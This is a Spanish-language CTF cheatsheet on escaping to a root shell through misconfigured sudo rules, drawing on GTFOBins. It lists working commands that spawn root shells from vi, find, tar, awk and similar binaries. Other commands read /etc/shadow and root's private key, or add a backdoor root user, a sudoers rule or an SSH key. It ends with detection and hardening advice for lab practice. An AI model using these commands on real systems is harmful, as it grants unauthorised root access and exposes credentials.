sudo escape with GTFOBins
Arsenal completo de comandos en la cheatsheetGTFOBins es un catálogo de binarios legítimos de Unix que, mal configurados, sirven para romper restricciones: leer/escribir ficheros fuera de tu alcance, mantener una shell o escalar privilegios. La vía más común en CTF es el sudo: cuando sudo -l muestra que un usuario puede ejecutar cierto binario como root sin contraseña, muchos de esos binarios ofrecen una "puerta lateral" para lanzar una shell que hereda ese contexto privilegiado.
Enumeración
El punto de partida es siempre sudo -l, que lista las reglas concedidas al usuario actual:
sudo -l
# (root) NOPASSWD: /usr/bin/vi /var/www/html/*Cada binario permitido se busca en GTFOBins: si tiene sección Sudo, casi siempre hay un escape directo. La clave es que numerosas herramientas pueden ejecutar comandos arbitrarios sin ser intérpretes de shell: editores (vi, vim, nano), paginadores (less, more, man), lenguajes (awk, perl, python, find -exec) o utilidades como tar/rsync/zip con sus hooks.
Escape a shell root
Cada línea es el escape del binario que aparezca en sudo -l. La shell hereda root porque sudo ya elevó el proceso:
sudo vi -c ':!/bin/bash' /dev/null # o :set shell=/bin/bash + :shell
sudo vim -c ':py3 import os; os.execl("/bin/bash","bash","-c","reset; exec bash")'
sudo nano # ^R^X y escribir: reset; sh 1>&0 2>&0
sudo find . -exec /bin/bash \; -quit
sudo env /bin/bash
sudo awk 'BEGIN {system("/bin/bash")}'
sudo perl -e 'exec "/bin/bash";'
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo ruby -e 'exec "/bin/bash"'
sudo lua -e 'os.execute("/bin/bash")'
sudo less /etc/profile # dentro: !/bin/bash
sudo man man # dentro: !/bin/bash
sudo git -p help config # dentro del pager: !/bin/bash
sudo ftp # dentro: !/bin/bash
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
sudo systemctl # pager abierto: !shMuchos binarios "de red" o de servicio también escapan (ssh, scp, mysql, nmap, gdb, docker); la sección Sudo de GTFOBins tiene la línea exacta para cada uno.
Lectura de ficheros como root
Si el binario no da shell pero lee, se vuelca /etc/shadow para crackear el hash o la clave privada de root. Un binario por línea:
sudo cat /etc/shadow
sudo cp /etc/shadow /tmp/shadow && cat /tmp/shadow
sudo head -n 100 /root/.ssh/id_rsa
sudo xxd /etc/shadow | xxd -r
sudo base64 /etc/shadow | base64 -d
sudo less /etc/shadow
sudo vim -c ':r /etc/shadow' -c ':w! /tmp/out' -c ':q!'Escritura de ficheros como root
Si el binario escribe, lo más limpio es añadirse a /etc/passwd, dejar una regla en /etc/sudoers o soltar la clave en authorized_keys de root:
openssl passwd -1 -salt hax pass123 # genera el hash $1$hax$...
echo 'hax:$1$hax$...:0:0:root:/root:/bin/bash' | sudo tee -a /etc/passwd
echo 'user ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers
sudo cp ~/.ssh/id_rsa.pub /root/.ssh/authorized_keysGTFOBins clasifica cada binario por Shell, File read, File write y SUID: mirar en qué columna cae el que tengamos permitido.
Puntos que suelen frenar
- El comodín no protege. Una regla
(root) NOPASSWD: /usr/bin/vi /var/www/html/*parece acotada a un directorio, pero el escape no depende del fichero abierto: una vezvicorre como root,:!/bin/bashda root igual. env_resety rutas absolutas hacen que un simple cambio dePATHno baste; si la regla apunta a una ruta absoluta, el escape debe salir del propio binario (o pasar a secuestro del PATH si la regla llama a un binario sin ruta).LD_PRELOAD/LD_LIBRARY_PATH: sisudo -lmuestraenv_keep+=LD_PRELOAD, se compila un.somalicioso y se inyecta al invocar cualquier binario permitido (ver inyección de librería compartida).
Cómo detectarlo. sudo registra cada invocación en /var/log/auth.log (o journalctl _COMM=sudo): la firma es un binario legítimo (vi, find, tar, awk) ejecutado como root e inmediatamente seguido de un hijo sh/bash, un linaje que ese binario no produce en uso normal (auditd/Sysmon for Linux sobre execve con ppid del binario permitido). Un find ... -exec /bin/bash o un tar --checkpoint-action=exec en los logs de sudo es prácticamente una confesión.
Defensa. Conceder por sudo solo binarios sin capacidad de shell-out; evitar comodines amplios; preferir scripts envoltorio con argumentos fijos; no conservar LD_* en env_keep; y auditar sudoers contra la lista de GTFOBins. Relacionado con otros abusos como sudo + rsync, script escribible vía sudo o secuestro del PATH.
Máquinas donde se aplica
- BigPivotingDockerLabs
- BuscaloveDockerLabs
- ChocolateLoversDockerLabs
- ClueProving Grounds Practice
- ConsolelogDockerLabs
- Dance-SambaDockerLabs
- Darkhole 2VulnHub
- DockerlabsDockerLabs
- LaVitaProving Grounds Practice
- PostfishProving Grounds Practice
- PotatoProving Grounds Play
- PsychoDockerLabs
- SwagShopHackTheBox
- Symfonos 1 & 2VulnHub
- Symfonos 5VulnHub
- Symfonos 6VulnHub
- ZabProving Grounds Practice